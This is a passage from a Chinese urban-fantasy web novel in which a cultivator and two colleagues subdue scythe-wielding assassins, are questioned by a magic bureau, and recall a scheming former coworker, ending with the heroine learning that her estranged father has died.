“好怪,结界失效了,我手都占着,你们当心!”
才说着,边沁尖叫一声。
对面一个短发女人挣脱了巨钳的围困,飞出一个巨大火球打在边沁铁拳化成的盾牌上。
若是平时的火,边沁是完全不受影响的,这火却极为古怪,泛着红光,仔细看火底还有岩浆。
越洱心悸,这怎么像炼狱的业火?
“边沁,快收拳。”
她和边锋飞身而出,跳出铁盾,朝短发女攻去。
边沁也很快反应过来,自主舍弃一部分烧融的铁水,收起铁盾和铁棚,又化成了正常手掌形状。
边锋一鞭甩出,短发女连忙闪开,脖子逃过一劫,揽月却趁机攀上她手臂,绕紧关节,生生勒断了短发女人手臂。
火还在烧着,岩浆烧穿了阳台地板,直到这时,那几个傻站在苹果树下的乐手,才嚎叫着化作一阵花瓣,扑簌簌飞下阳台。
边沁缓了一会儿,重新挥拳加入战局。
那石男也重聚人形,断臂女之外,对面四人与这边三人打得不可开交。
越洱注意到,除了石头男和断臂女,其余三人都手握一种特制的镰刀,刀锋流动着乌紫的烟。
滚滚紫烟,好似条条绸缎绕上镰刀。
她立即在通灵阵喊:“当心他们手上镰刀!别被割到。”
她在鬼界打工那三年,偶然见过类似的紫烟。
那时越洱跟着阎罗的九女儿做事,某天地府炸开了锅,说炼狱换岩浆时,工作人员不小心放跑了一个人。
那人在炼狱中苦熬了88年,按理说早该失去神智化为岩浆,可偏偏他受的是往复刑,身骨化为岩浆又结回骨肉,无止无休循环受罪。
他出逃之时,地府大动干戈,不分上下,全力追击。
第一批拘魂使追上时,此人身飘紫色缎带,业火舔身却不再伤他分毫,拘魂使一拥而上,阎罗殿中央升起“转播画面”。
越洱在那当时,通过这画面,目睹了那人身上的紫缎带蛇一般游出,直直穿透拘魂使脑门,那几个早不讲“命”的拘魂使,竟这么生生被穿得灰飞烟灭。
而那游蛇般的紫缎带,就很像今时今日缠绕镰刀的紫烟。
越洱太阳穴突突直跳,很大注意力在那三把飞舞的镰刀上,生怕那乌紫的烟突然弹出飞来,击中他们脑门。
她直觉被这东西打中,不是受伤那么简单。
好在打了一阵,对面一直追着近身肉搏,乌紫的烟也一直绸缎般绕在镰刀口,没有分出。
两把巨钳夹住了对面二人,断臂女被夹着上身,碰到伤口,呜呜叫着收了火。
他们三对三地打,久未分胜负,越洱不敢下死手,虽说对面先动手,可这无凭无据,人死了不好交代。
最好能生擒到法力部。
恰此时,通灵阵响起边锋声音:“真难缠,直接打晕带回法力部。”
边沁也应和到:“先一人放倒一个,钳子上那两个最后搞。”
“好。”
只见三人背对背防御的站阵陡然散开,三道飞影弹起,各有目标,直冲最接近直线前方的对手。
越洱手抓一钳,巨大钳子仿佛连在她身外的器官,灵活刺向对手。
张合的钳嘴“咔咔咔”欢快叫着,吓得画板男连忙竖起画板防御。
没想到着画板还真是画板,材质就普通木板,钳子两下咬碎中心那块,正要直取那躲于其后的画板男。
却猛然扑空,越洱一激灵,忙转身向后飞去。
那画板男不知何时瞬移到她后方,镰刀划过晚风呼啸着朝越洱背后割来。
多亏她转身后退够快,越洱抡起钳子朝画板男劈去,放大的巨钳创造了远程攻击的可能。
钳子落下,悬空出现一面放倒的镜子,正在画板男脚下,哪怕那么快的对战中,越洱还是看到了他露出的邪笑。
镜子旋风般吞没画板男,他身子彻底隐没入镜时,戏谑地挥手道“拜~”,镜子表面如湖水
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涟漪,下一瞬,钳子击中,镜面硬化,反弹巨钳,一声脆响震彻天际。
越洱和巨钳通感,隐隐感到一阵麻。
镜子“噗敷”收为一只虫大小的亮点,不见了。
未及越洱反应,飞悬空中的身子突然被强力拽下,脚背猛然没入镜面,镜子转移到她身下来了。
越洱飞快驱钳夹住自己腰腹,和镜子强大吸力对抗。
她对自己很下得去手,钳子狠狠夹在身上,若非修真者,必定五脏六腑俱碎。
她大腿已经一半没入镜面,很怕那画板男在镜子里拿镰刀砍她。
一咬牙再发力,钳子拔牙般猛地从镜面拔出越洱,越洱身子弹簧般飞出去,她运气旋转几周才化力、落地。
眼花缭乱,耳边乒乒乓乓是边家兄妹与对手打斗的声音。
想拿住这几个人还真不容易,打都打不到他们身上。
“拿到了!”边沁脆生生叫道。
只见她也“断”了臂,铁臂化作一个狭窄铁箱,捕获了她对打的那个高颧骨女人。
那女人被铁箱关着,在里面“嗙嗙嗙”捶,还用上镰刀捅刺,对边沁毫无作用,铁箱虽晃,还是把“高颧骨”关得严严实实。
忽地,边沁身形一晃,被巨钳连人带箱拖到越洱身边。
她所在的原地,徒留一块空空的镜子。
“我靠,真阴。”
边沁看到那镜子,也立即明白越洱是在救她。
“小沁,关那镜子试试。”
边沁通灵阵中收到越洱这话,迅速飞出剩下那条铁臂,在镜子收束成光点那瞬间,一个铁球捕获吞没了它。
下一瞬,铁球膨胀变大,球面上支棱出四个棱角。
“是那镜子在里面化原型了,没事。”
边沁笑着对越洱这么说,两条手臂空荡荡的,笑容明媚,看得越洱一阵怜爱。
“我说,有没有人帮我?”
边锋甩着揽月四处飞蹿,他对上那石男,被漫天的硕大石块追着打,偏偏武器又是揽月那鞭子,除了飞转着临时挡挡石头,也很难应付这么分散的目标了。
越洱飞出手上剩下的一钳,协助边锋打石块,这回她不再收力。
巨钳对撞石块,石块俱碎。
就这么弄碎十几块之后,漫天飞的石阵明显缓滞下来。
越洱乘胜追击,钳子主动攻上近身的硕大石块,钳口大张。
突然,石阵收缩,在不远处聚成人形。
石男的石头手臂捂住胸口,嘴一样的构造处咳出一阵灰土。
“啊!”
另一把巨钳上夹住的断臂女人原本奄奄一息,见状哀嚎出生,挣扎着发射火球。
可她伤痛较重,也不是个能扛的,火球缩到篮球大小,发了半天发出来一个。
石男轰然倒地,歪道在地,昏迷中恢复了原生。
边锋如获大赦般躲开火球,揽月的锁链攀上石男原身,迅速锁住了他。
火球熄灭,越洱挡在边沁身前,此时闪开身指给边沁看:“那女的也昏了。”
边沁松一口气,那火真的活见鬼,烧身上不是一般疼,还叫她损失了一部分“拳头”,接下来要多融些武器进去补补了。
忽的,越洱背后发凉,她听见边沁在通灵阵说:
“越姐,钳子上那男的眼皮动了一下,装晕。”
36.女朋友?
打斗之初,越洱仅留一把钳在手,机动使用。
其余两钳,蓝钳夹住断臂火球女,橙钳夹住一个被边沁铁拳砸晕的瘦长男。
她都松懈下来准备收工了,却听边沁说“那男的眼皮动了,在装晕”。
不由心一紧,“他的镰刀呢?”
不在!
仔细一看,瘦长男装得挺业余,头歪着更像在试图探听他们下一步动作,好在三人几乎都选择在通灵阵对话。
“镰刀真不在,天呐……”边沁在通灵阵的声调降下来。
边锋捆好石男,也悄声贴近二人,身子却略略侧背向她们,警惕后方和侧方突袭。
阳台悄无声息,边锋这个位置,离栏杆很近,能轻易看到下方盆地。
他警惕地扫视着,忽地生起一种很别扭的感觉。
不对,是哪里不对……
他们忘记了什么东西……
边锋眼球转动,迅速浏览着视野的每一处。
苹果树、架子鼓、栏杆、花瓣、地板、桌椅——
地板!
被火球烧穿的阳台地板,那个洞怎么缩小这么多?
烧穿的黑洞原本至少能掉下去一辆三轮车,现在竟缩得只剩一块脚垫大小,洞口焦黑的痕迹也不见了,木板规整完好。
越洱直直盯着巨钳口那个瘦长男,她一直有个东西没用,放了很久很久,久到她自己也快忘掉。
直到边沁的铁箱罩住第一个对手,那样东西才浮现越洱脑海。
她犹豫不决,不是非用不可的话,真不愿动那东西。
鬼界打工那时,炼狱换岩浆那天,阎罗是用什么制服了那个些紫缎乌烟?
是……
“有人!”
边锋抢先飞出,他亲眼看着,地板上那个缩小的黑洞冒出一个人头。
就在边沁条件反射般回头去看哥哥时,瘦长男猛地抽搐,化成一滩脓液,逃脱了巨钳。
越洱顾不上后方,暗骂一声抢上前。
那恶心的脓液顾涌着落地,又迅速化为人形,手上现出那把镰刀。
见越洱送上门来,他单手挥舞镰刀,手臂中段猝然化作脓液,拉扯着,浓痰一般延伸。
这下可以把镰刀甩出很远。
他脸上现出丰收的期待,狞笑藏不住。
这个态势下,越洱还没近身,镰刀就能割中她。
乌紫的轻烟缎带抽搐、震颤,兴奋难以压抑,似有嗜血的快感。
倏然,浓痰男身形被扯了一下,整个身子在半空中窝成烫弯的虾。
阴影切割月光,斑驳交错,朝他笼罩而来。
他肘关节处的脓液迅速萎缩,握刀的手抽回,镰刀进入阴影,紫色的光芒刺痛眼睛。
脓液男飙着累极力睁开眼睛,看清了自己处在一个白森森的窑洞中,洞口古怪,开了四五个窟窿,很像是……
不好的预感冲向心间,月光透过那几个窟窿照进来,滑过索命的镰刀。
镰刀上缠绕的紫烟缎带陡然被无形力量扯开,尖啸着逃窜,下一秒却像被捉了尾巴的蛇,扭动挣扎,反咬不到那无形的手,紫烟原地爆炸了。
完了,脓液男身上的血都凉透,镰刀“哐?”掉落,成了最普通的铁器。
窑洞收缩,锁困住脓液男。
一个白森森的“临时牢笼”降落在越洱手心,竟是人类的头骨。
“哎哎,别搞地板,我是好人!”
越洱一回身,见边锋把边沁护在身后,边沁左右分立一个铁箱、一个长畸了的铁球,那是她的左臂右臂。
一个橘发女人从地板上缓缓生长起来,白鸟。
白鸟揉揉头顶:“麻烦你看清楚再揍行不?”
边锋仍是不放鞭子:“你怎么回事?躲后边搞偷袭?”
白鸟一口气憋得脸红,像是炸毛的野生小兽:“我这叫修地板!要偷袭能给你发现?”
边沁道:“老板娘,你早不上来晚不上来,要打结束了你从地板钻出来——”
“这么一说,确实哈。”白鸟尴尬一笑:“不过我帮你们报法力部啦,怎么样,还够意思吧?”
她脚步轻盈,一头及腰的橘红色长发随着步子在身后弹动。
白鸟瞟一眼悬空的巨钳夹着个断臂女人,啧啧两声,就忙转去检查苹果树。
“哎呀呀,我的树!树精灵没被你们误伤吧?”
越洱道:“你说乐队那几个?他们趁乱跳楼啦。”
白鸟回头看她:“这话说的,下回少说,他们躲起来了是吧?”
越洱:“……应该是吧。”
忽的,白鸟不再摆弄苹果树根,她一跃而起,闪现越洱近前。
“头骨?”
她按捺不住上手欲摸,惹来越洱斜一眼,便乖乖缩回手:“方便问问这谁的吗?”
【骨术镇压】不是什么秘密法术,但修炼的人不多,一来这法术针对性强,也就意味着它能镇压的东西有限,又刁钻少见,甚至一辈子用不上一次;二来,法术所需的骸骨,必须来自修炼者此生最珍视的人,又多少人忍心用所爱之人骸骨来练习?
“我阿婆的。”越洱淡淡回答道。
白鸟不由一怔,沉默着点点头,眼神不聚焦般搭在头骨周围。
一旁的边锋、边沁也不知作何反应好,都仔细去看越洱脸上神情。
索性越洱脸上平静无波,很自然地收回头骨:“一楼有客人受伤吗?”
白鸟摇摇头:“楼上一开打我就把他们吓跑了。”
越洱看边沁袖管里左右臂都空荡荡,莫名挺心酸,她掏出阿婆的头骨:“沁,把那俩,连同镜子,都放我这儿吧。”
*
几人坐在阳台等法力部的人来现场取证。
“现在几点啦?”边沁打了个打哈欠。
白鸟瞳孔收缩,又猛地散开,答道:“夜里12点整了。”
越洱也是困得不行,这一整天,漫长艰辛,凌晨还在九天镇挨大水淹、纸鸢割;天蒙蒙亮,被鸟人老师“替审”;傍晚,在家里聚会讨论怎么应对罗成荒、陆锁仁、越莫管的攻击;晚上怕被杀手追杀,三人说同路送送边沁,结果整这么一出。
累死了,越洱咕哝着“我眯会儿”,一下子侧躺在长椅上开睡。
边沁也靠坐着合眼休息。
只有白鸟和边锋还精神奕奕,他俩对桌坐着,不知道讲什么,边锋一直忍不住回头去看邻桌,妹妹和越洱睡的那两把长椅。
“不好意思,刚才打痛你了吧。”
“害,没事儿,我钻出来确实可疑了。人之常情。”
……
“你在法力部医疗中心工作?”
百鸟搓搓手心:“算是吧,我负责出外勤,跟队跑。”
“这次深渊下就你一个人跟队?不怕医不过来吗?”
“我有我的团队,哈哈哈。”
边锋点点头,没再追问,他端起白鸟重新变出来的水杯,喝一口,下意识又回头去看。
“女朋友?”
“啊……”边锋被这猝不及防的一问噎住了。
“不会两个都是女朋友吧?”白鸟摩挲一把头发,不可置信般后仰。
“坐着那个是妹妹——”
“哦哦,约会还带妹妹呀?感情真好。”
“嗯……躺着那个,是同事,朋友。”
“哦~”白鸟这句九转十八弯,音调很是变了几道。
“咳咳,话说你的苹果树精灵怎么办?”
“他们会自己回来的,树在哪儿家在哪儿。”
又是一阵沉默,长椅上两人皆已睡熟。
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“你们怎么惹了这群人?”
边锋也忍不住打起哈欠:“哈——现在还不好说。”
引擎声夹着风声而来,安全司一众鸟人先降落阳台,随即飞行器悬停在阳台外,翻进来六七个穿了工作服的人。
这几个穿制服的,脸一个赛一个的黑,简直能媲美鸟人身上毛色。
大晚上被拽起来进现场,心情糟透了。
越洱和边沁也被风扇醒,起来时,越洱发现脖子和头底下,垫了边锋的腿、身上是一个棉纱的天蓝色小毯子。
自己就这么毫无知觉地靠着边锋睡了不知多久。
取证组已经“咔咔”开始拍摄了。
“……你腿麻吗?”越洱不好意思道。
边锋也一副睡眼惺忪的模样,闻言摸了摸越洱靠的那块儿:“麻!”
“咔嚓”,镜头突然对准他们几个拍了一张,闪光灯射进眼,场面好似捉奸。
是取证组一个小年轻,他放下相机,拉下口罩指他们给前辈看:“嘿,这不是坟场害我们加夜班那俩人嘛?”
越洱嘴角抽搐两下:“同志,那是委托人害你加班,我也是受害人好不?”
边锋凑近越洱耳边说:“这是深渊底下黑东西吞掉的那个卷毛吧?他也够倒霉的,还被抓来加班。”
果然,卷毛眼神一转对上白鸟,熬夜的眼都亮起来:“诶?”
话到嘴边又咽下,这次卧底训练,保密工作严又不严。
除了部长、副部长、异常司、安全司,其他部门领导是不知道具体手下哪些人被抽取的。
法力部下达的命令,一股脑释放出一大批新手老手,全都出外勤,全都断通讯,回来又是一股脑同步回。
不严的是,各部门抽调的人全在一起训练,彼此之间交流不受限。
白鸟低下眉眼,伸手掸了掸裙子上不存在的灰,卷毛彻底闭嘴了。
越洱也松口气,幸好卷毛刚才嚷嚷的是坟场收溜金抱那回事儿,要是他脑子转不过来直接说“深渊下见过你们”,那恐怕不止他自己受罚,越洱、边锋,甚至白鸟,都要被迫退出卧底计划了。
法力部有间谍,越洱不意外,只不知是哪个组织、哪些组织派来的。
扎根了多久?不会盯上他们这种老实打工菜鸟吧?
取证组很快完工,一个戴着巨大圆框眼镜的中年男人和几个鸟人走来:“你们几个一起回法力部吧。”
边沁乖巧地折好粉色小毯递给白鸟,白鸟却摇头道:“你哥哥带来的。”
“什么!?”边沁一副被雷打焦的表情,转向哥哥:“你竟然——”
边锋收过来放进乾坤袋:“怎么?现在才发现我温柔可爱又体贴?”
“呕。”
越洱也稍感惊讶,这还是那个借东借西的边锋?
天蓝色小棉毯,她当成披肩裹着上身,刚取下开折,就有一只手伸过来阻拦:“你穿得少,披着吧。”
边沁:“哦~”
白鸟:“哦~”
异口同声,意味深长。
越洱窘,三下五除二叠好毯子,交给边锋:“不冷不冷,多谢啦。”
边锋:“……”
越洱递过毯子的动作太急切,恨不得撇清关系一般。
柔软的棉纱料子上还有余温,边锋还是先收好小毯,束上乾坤袋。
取证组圆框眼镜的前辈有点年纪,随口笑道:“真是好时候。”
说着他转身去做收尾,鸟人给几人安排了两架飞行器,指了编号,扇动翅膀原地起飞,漆黑身影直入夜空中。
白鸟和边沁说着“一会儿见”,默契手挽手走向666号飞行器,越洱也检查了手机,准备过去。
刚走出一步,手腕就被人拉住:
“你是不是害羞了?”
37.你是不是害羞啦?
边锋抓着她手腕,在耳边小声问:
“你是不是害羞了?”
越洱:“……”
好想要个说明书,这种情况下怎么回答才正常。
她反手握住边锋手臂,挟持人质一般半推着他往前走:“啊哈哈,走吧走吧,看来我们是555号啦。”
边锋侧过脸低头看她,噗嗤一下笑了。
笑声还怪大,八卦雷达全开的两个女人猛地回头。
越洱以迅雷不及掩耳之速放开边锋手臂,还欲盖弥彰地把手微微背在后头,像个老太太在散步,脸上表情是散步半天惊觉家门没关,僵直傻气。
前面两个女人没捕捉到关键一幕,眯狭着眼、一脸狐疑地转头了。
越洱啊越洱!你就这么不长记性!
越洱心中哀嚎,说好的我来拿捏分寸呢!说好的自知之明呢!
在边锋面前,她总错觉回到初高中时期的暧昧拉扯。
幼稚,稀里糊涂,反应过来又沦陷下去。
看白鸟提起裙摆要跨上飞行器了,越洱突然喊道:“白鸟,你店门关了吗?”
白鸟也是个心大的,店里打起来不关门,她上二楼观战也不关门。
“诶呀,我这个记性。”
话还飘着,鸟不见了,一楼即刻传来关门声。
白鸟闪去闪回,笑呵呵说:“上回出差忘记关门,两天两夜,客人还自己进来做咖啡呢。”
“……”
这小姐姐,是个天生做慈善的料。
她是没遇上越莫管这种人,不然分分钟给你机器沙发全扛走,苹果树都连根拔起、一片叶子不剩。
坐上555号飞行器,许是刚才睡过,越洱脑袋清爽明朗,抱着手臂想象越莫管现在被当沙袋揍。
她心情复杂,不是不乐意让越莫管挨揍,她已经十年没见这个生物爹,人生早期的大部分痛苦都是这个人带来的。
只是,罗成荒和陆锁仁,那边□□揍越莫管准备栽赃她,这边就迫不及待找杀手杀她?
不至于这么蠢吧,这样不就给越洱直接送上不在场证明了吗?
法力部这么多人亲眼见证今晚,越洱就在白鸟的咖啡酒馆,连这几个“杀手”都是人证。
难道罗成荒她们对错时间了?或许根本不是她俩雇来的,修真的杀手哪儿那么好找,两天就找到?法力挺高、还带了那么诡异的镰刀。
不是她俩找来的话,那更头疼,又是惹了谁?
真操蛋,法力部没派多少活儿,反倒是一堆不发工资的烂事儿占时间。
这个职场那个职场,越洱走到哪儿,最难的都是人,人的事。
“你们好,认识下吧?”前排转过来一个人,黑暗中伸过来一只手:“我叫邓上计,这几个全是你们撂倒的?真挺牛。”
边锋一把抢先握手:“你好,边锋。”
看边锋握着邓上计手没松开,越洱点头微笑一下:“越洱。”
“你俩都在异常司啊,难考不?”
边锋这才放开手:“考?我们还好,面试不怎么难。”
“啥?你们没笔试?!”邓上计险些控制不住声音。
越洱忙竖起手指比了个“嘘”,飞行器里还有其他人在闭眼休息,她小声回应:“我们只面试三轮,反正都是力气活儿,不需要笔试。”
邓上计扫一眼边锋的手臂和胸肌,再扫一眼越洱刻意紧绷的肱二头肌,羡慕道:“那倒是”。
“今晚得在部里睡觉了。”
“能不能睡还说不准呢,抓紧休息吧。”
没眯两分钟,飞行器就降落在法力部主楼天台。
安全司还是有人性的,没有连夜审他们几个,一人配了一间部里的外宾休息室,在888层。
这一晚睡得实在香甜,直到早上十点半,传讯千纸鹤才闹喳喳把她叫醒。
越洱随便掬两捧水洗脸,刷牙,便乘着变大的千纸鹤下到审讯室。
一推开门。
“鸟人老师,好敬业。”她不由直竖大拇指,安全司是裁员了么,天天派未来司长审人。
鸟人俊秀的脸上挂着两团黑眼圈,他抬手捏捏眉心,见越洱进来,一个放松,开始坐没坐相起来。
“早,又忙着在哪儿惹祸呢?”
越洱轻车熟路坐上审讯椅,讪讪道:“哪里哪里,都是为三界人民服务罢了。”
一路审下去,鸟人耳朵高度悬着一本厚重的羊皮纸卷宗,羽毛笔刷刷刷自动记个不休。
问到“是否最近得罪了什么人”,越洱略微犹豫,部里反正都基本见识过她那毒爹了,她一咬牙,把越莫管闹事的情况说清楚。
但关于罗成荒、陆锁仁的部分,她俩计划商议时越洱还在深渊下历练,总不能暴露劳山风和边沁。
于是越洱只隐晦道:“越莫管一个人没本事来闹,他背后一定有人撺掇。”
“你有方向吗?谁最有可能撺掇他?”
“那不好说,做工作不免会得罪人,以前现在都差不多。”
越莫管真录成音了吗?
她突然想到一处缺漏,失策了,今晚应当让边沁先去把越莫管那边的录音拿过来。
可没见到50万的影子,越莫管不可能交出录音,怎么就没想起来问,边沁和劳山风当时隐身在现场,有没有备录一份?
鸟人又继续往下问,越洱把头骨交给他,再三叮嘱要呵护好。
又给他描述了诡异镰刀上的紫烟缎带,现在三把镰刀上附着的能力都被头骨镇压净化了。
越洱无奈,要来纸和彩铅,画了幅很抽象的鬼画图。
她没说地府初见此物的往事,只简单说再见到这种东西,得用骨术镇压,要快,有些缎带是有自主意识,能离开主体去杀人的。
如此这般,那本羊皮纸卷宗又填满一打,越洱终于被放出审讯室。
“鸟老师,那几个人审出来没?什么来头方便说吗?”
鸟人放下签字的红色羽毛笔,道:“暂时没审出来,嘴死硬,还有试图自杀的。”
“要是有进度能告诉我一声吗?受害人知情权,没坏规矩吧?”
鸟人点点头:“会告诉你的,只是降低期待,这几个人不会吐多少真东西。”
越洱朝他挥手,告别,手刚触及门把手,就听到:
“越洱,如果有天我当上安全司司长,你会为我高兴吗?”
这个问题很奇怪,很突兀。
越洱愣怔一秒,旋即回道:“当然,大家都很高兴你能当司长。”
“大家?”
“我们几个,法力部的大家,说明你这些年做得真的很好。”
鸟人眼底交织闪过复杂的光,失望、释然、欣慰、期待——
越洱看不懂。
“希望是这样吧。”
他看上去很累很累,越洱客气劝了两句“多休息”,其实毫无用处,随即轻轻带上门出去了。
越往上爬越累,可越往上爬离自己想要的越近。
越洱这些年,胸无大志,只想拿稳饭碗。
可她衷心很佩服鸟人这样一路死死盯紧目标往上攀爬的人,她做不到,也没这个欲望。
这些人从她身边陆陆续续经过,罗成荒又何尝不是呢?
最初进招生办那些日子,大家脸上还戴着友善的壳儿,罗成荒是最热情主动过来接触她的一个。
越洱很慢热,她欣赏勇敢热情的人、敢于主动前
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进而不惧伤害的人。
但罗成荒过于热切了,仿佛只见两面就把越洱当成知心挚友。
会大半夜给生病请假的越洱送药,不是点个外送,而是费劲煮粥带汤、亲自开车买药的那种。
越洱也对罗成荒上了心,做朋友那段时间,她真以为是朋友的。
某个雨天,招生办准时下班,二人相约去吃干锅牛肉。
饭店那张桌子上,罗成荒几乎对自己吐露了全部人生。
她那法院当检察官、忙碌不已的爹;税务局上层,夜不归宿的妈。
和父母在同一城市,却过得和留守儿童别无二致的她。
“越洱,你知道吗?人只有对别人有用、有利用价值,才能被看得起。”
还有她那酷爱夜场、嫖来嫖去、一分钱不给的老公。
“越洱,总有一天,我要比我公公更厉害,让他家尊重我。”
说着说着,罗成荒突然掏出一管药剂,推向越洱。
“越洱,这管是新的,给你。这个好用,能让男人回心转意!”
罗成荒亮堂堂、黑溜溜的眼睛,诉说着她坚定的“以为”。
越洱够过去一看“情趣.润滑.粉嫩”,她一时不知怎么说合适。
“你……要注意身体,最好半年就去体检体检。”
后来,随着工作展开,利益纷争,罗成荒的壳兜不住内里蠢蠢欲动的“真我”了。
她不干活儿、抢功劳、迟到早退旷工,却皆得溜金抱庇护。
甚至一句“我在招待某某学校的某人,对招生很有帮助”,就能一整天不来上班,回来拿着饭店开好的两三千元发票,理直气壮报销。
每个月用招办经费,送出三五个价值两千的果篮,照片发来一看,那果篮不就是倆哈密瓜、一串香蕉、两串葡萄。
这能值两千?
可发票开来了,溜金抱又很需要她公公帮忙牵线搭桥,每次趁罗成荒不在,边骂边报销。
罗成荒的日常工作一股脑压到越洱身上,越洱一人顶三人用。
她忍,因为需要生活、还债;她忍,还因为想博得一个留在私立院校教书、教法术课的教职。
直到那次下乡宣传,招办一群人穿上方便活动的衣裤,一家家沿街宣传。
罗成荒踩个小高跟,把她那份宣传单一摞摞丢进后备箱,转头扭着腰,打开小洋伞。
她俏生生呼副校长的名字:“何校,热了吧,我给您撑伞。”
何校本人穿着衬衫西裤,可鞋子也是方便走路的运动款,委婉拒绝。
罗成荒跟听不懂一样,一整天追在何校身后,撑着伞不撒开。
何校多次拒绝也不管用,那片小洋伞投下的阴凉一直没离开他脸庞。
那天,该她宣传的街道她是一点没动,惹起众怒,偏偏当着何校的面,大家不好说话。
直到晚上,加班补上罗成荒漏掉的街,坐车回到招生办。
罗成荒见气氛不对,伏低做小,讨好地说要明天请大家喝奶茶。
越洱一把把她拉到隔音不错的空置办公室。
“罗,别太过分,你再这么搞,工资卡改成我账户得了。”
“我怎么了,我还不是照样下乡宣传?”
“下乡宣传?你宣传你爹呢,给领导打伞去的啊?别人球童,你伞童?”
“越洱!骂人不骂爹娘!我打伞我乐意。”
“你爱当狗腿子就当,舔领导之前先把自己本分工作做完!你一人少干,害得大家多干,再给我装傻试试呢?
罗成荒冷笑一声抱起手臂:“越洱,你不是知道我怎么进来的吗?咱俩志向不一样,我是往上走的人,这些杂事,犯得着来脏我的手?”
38.忙忙
越洱跟她吵得头发都自行乱了,几个头发翘着颤动:“行啊,往上爬你的,但只要你待在招办一天,就别想再甩活儿给别人干。”
“哼,那你跟溜金抱说去啊,他还没说我呢,你倒先跳上了?”
这场吵架早已引来四五个被害加班的同事,他们是家也不忙着回了。
几个月的怨气一腔无处发,纷纷加入越洱讨伐罗成荒。
罗成荒前一秒还在趾高气昂吹嘘她公公为学校做了多大贡献。
见大家对她怨气那么重,缓兵之计,退而求其次地开始道歉,假装反省。
“是的是的,越洱辛苦了,大家因为我也辛苦了。”
“是我太笨,我光顾着想,何校年纪大了怕他中暑,拖累大家真对不起。”
第二天,罗成荒照常旷工,前一晚的歉意当个屁,放就放出去了。
她一心只当人上人,眼前的活儿都是多余,都可以忽视,反正她不干,总有人干。
她只要关心好领导、上级,抱最粗的大腿。
——这就是越洱职业生涯中经历的第一个所谓“向上爬”的败类。
在她人生早期,有个青梅竹马的前男友也是一心向上的,不过没罗成荒这么气人就是了。
后来换几十份工作,每一处都待不上多久,倒也陆陆续续见过不少这类人。
他们有的就像罗成荒,一分不想付出,就是找捷径恨不能一步登天;但更多的,是实打实付出了牺牲和努力,后者她无可指摘。
就像现在,越洱笃定,鸟人这一步步爬上来,不会容易。
他不是浮皮潦草混来的,安全司每天任务那么多,近十年都没听说什么安全大患解决不了。
越洱接受完审讯,已经接近午休时间,但今天周一,怎么着也得回办公室请示要活儿才行。
她才踏进异常事务处理司那层,就迎面撞上急着赶路的段飞烨。
段飞烨一改往日精致细心的打扮,头发挽在后脑勺都是拿一支笔插进去固定的。
“组长。”
段飞烨看清来人,一把抓了越洱手臂:“越洱,你通讯怎么全关了?我到处找你。”
“我刚在审讯室配合问话,可能开了屏蔽器。”
审讯室的屏蔽器,不止是屏蔽电子讯息,更是屏蔽一切法术传讯手段,包括通灵阵,这也是防止受审人暗中通信串供。
段飞烨面色犹豫,她拉过越洱,在几步开外的休息区停住,按下越洱肩膀示意她坐下。
越洱茫茫然顺势坐下:“组长,你要跟我说什么吗?”
段飞烨屁股刚粘上椅子,轻叹一口气:“越洱,你爹他……去世了,尸体是两个晨跑的市民发现的,节哀……”
去世。
尸体。
节哀。
这些话,像隔了一层厚重的、模糊的膜,穿不进越洱脑海里。
死了?
越洱眼前是段飞烨关切的眼,素颜透出来她颧骨上小小的黄褐色斑。
脑中嗡然,一片麻木空白。
现实仿佛很远,胸腔底下好像伸出来一只大手,不紧不慢,攥着她的脏器肺腑缓缓往下拖。
越莫管死了?
这种恶人,不是被酒色磨锉老去,不是祸害遗千年般赖活着,突然就这么死了?
她本已做好迎战准备,等着哪天越莫管凄凄惨惨打着石膏肿着眼,来法力部讨伐她、陷害她。
结果十年没见面,先听到了他的死讯。
越洱懵头懵脑地启动嘴唇,喉咙干得惊人:“怎么死的?”
段飞烨倾身握住她的手,声音很轻很温和:“还不清楚,我们去联合调查部,警察和法医都在等着。”
*
联合调查部,位于法力部主楼斜后方,走过去的路上,有一座天平雕塑,天平伫立在喷泉中央,源源不断的水流淌过天平两边的托盘,天平力臂轻轻晃动,一上一下。
这是警局和法力部联合办案的地方,从法力部创建之初就存在了,主要处理一些涉及法力的刑事案件。
边锋赶过来的时候,联合调查部大厅挤满了人。
他找寻越洱身影,却一无所获。
有几个警察推着圆筒状的钢铁束缚笼经过,笼子里竖立绑了人,边锋仔细一瞧,竟是昨晚白鸟家【安全屋】阳台打斗的那几人。
石男口中含着止咬的口塞,怨毒地朝这边斜睨。
断臂女伤口已经包扎起来,这几人状态都有些可怖,血洇湿的衣料上依稀可见丙烯颜料画痕。
考虑到联合调查部有不少毫无法力的警察和文员,犯人不止身加铁笼,笼内还上了密密实实的绑束带,把人直立着绑住。
紧接着,边锋瞟见一个熟悉的身影。
“姑妈!”
那女警闻声转过来:“小锋?”
*
越洱没能回家,联合调查部的工作组说得很客气,“请”她继续在外宾招待层住几天。
手机也“借”去看了,工作组还塞个备用机给她用用。
越洱回到房间,果不其然整个楼层的屏蔽器开着,和审讯室用的同一款,通灵阵没法用。
他们从越莫管袜子筒里搜出来一支轻巧的录音笔,审讯员一开始没透露,翻来覆去问“越莫管得罪过谁”。
那还真不好说,海了去了,况且这十年父女俩都是断联状态。
越洱老老实实把罗成荒对自己处理溜金抱事件的怨恨、那次走廊对话,都交代清楚了。
审讯员这才取来录音笔,隔着证物袋播放了一段。
内容和劳山风、边沁说的差不多,只是没录到罗成荒、陆锁仁避到远处商量价钱那段,也缺了越莫管走后,那二人合计□□揍越莫管、再嫁祸越洱那段。
但显然已经足够工作组盯上罗成荒了。
陆锁仁那天收了罗成荒七万转账,也跑不脱。
越洱不是很担心莫须有的罪名扣到头上,法医还在解剖,但估摸着越莫管死的时间就是昨晚深夜或今日凌晨,她有充分不在场证明和证人。
房间灯没开,越洱就瘫着躺在洁净床铺上,天花板看久了,眼前错觉有红绿的光斑闪动。
楼层很高,听不到法力部楼下的动静。
越莫管死了,活该杀千刀的一个人,爷爷奶奶的心头肉、骆钰盼了半辈子“浪子回头”的人……
越洱以为自己会喜不自胜、会有大仇得报之畅快。
可什么都没有,她的心空空荡荡,脑袋里麻得嗡嗡响。
一个久远画面不预期跳出思维的海面——
越
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洱9岁那年,他们搬往不眠市前几天,越莫管前些年赚的钱已经赌完赌尽了,小别墅也抵押出去。
他们回到了爷爷奶奶家住,四个老人养着这些小辈。
某天,东西收拾得差不多,越莫管破天荒提出带越洱和弟弟出去钓鱼。
他们买了提子饼干,装了帐篷,越莫管的发小“三胖哥”开一张破皮卡来接他们。
皮卡车颠颠簸簸来到冬瓜寨,冬瓜寨好宽阔的江河,汛期刚过,水位有些跌下去,很好钓鱼。
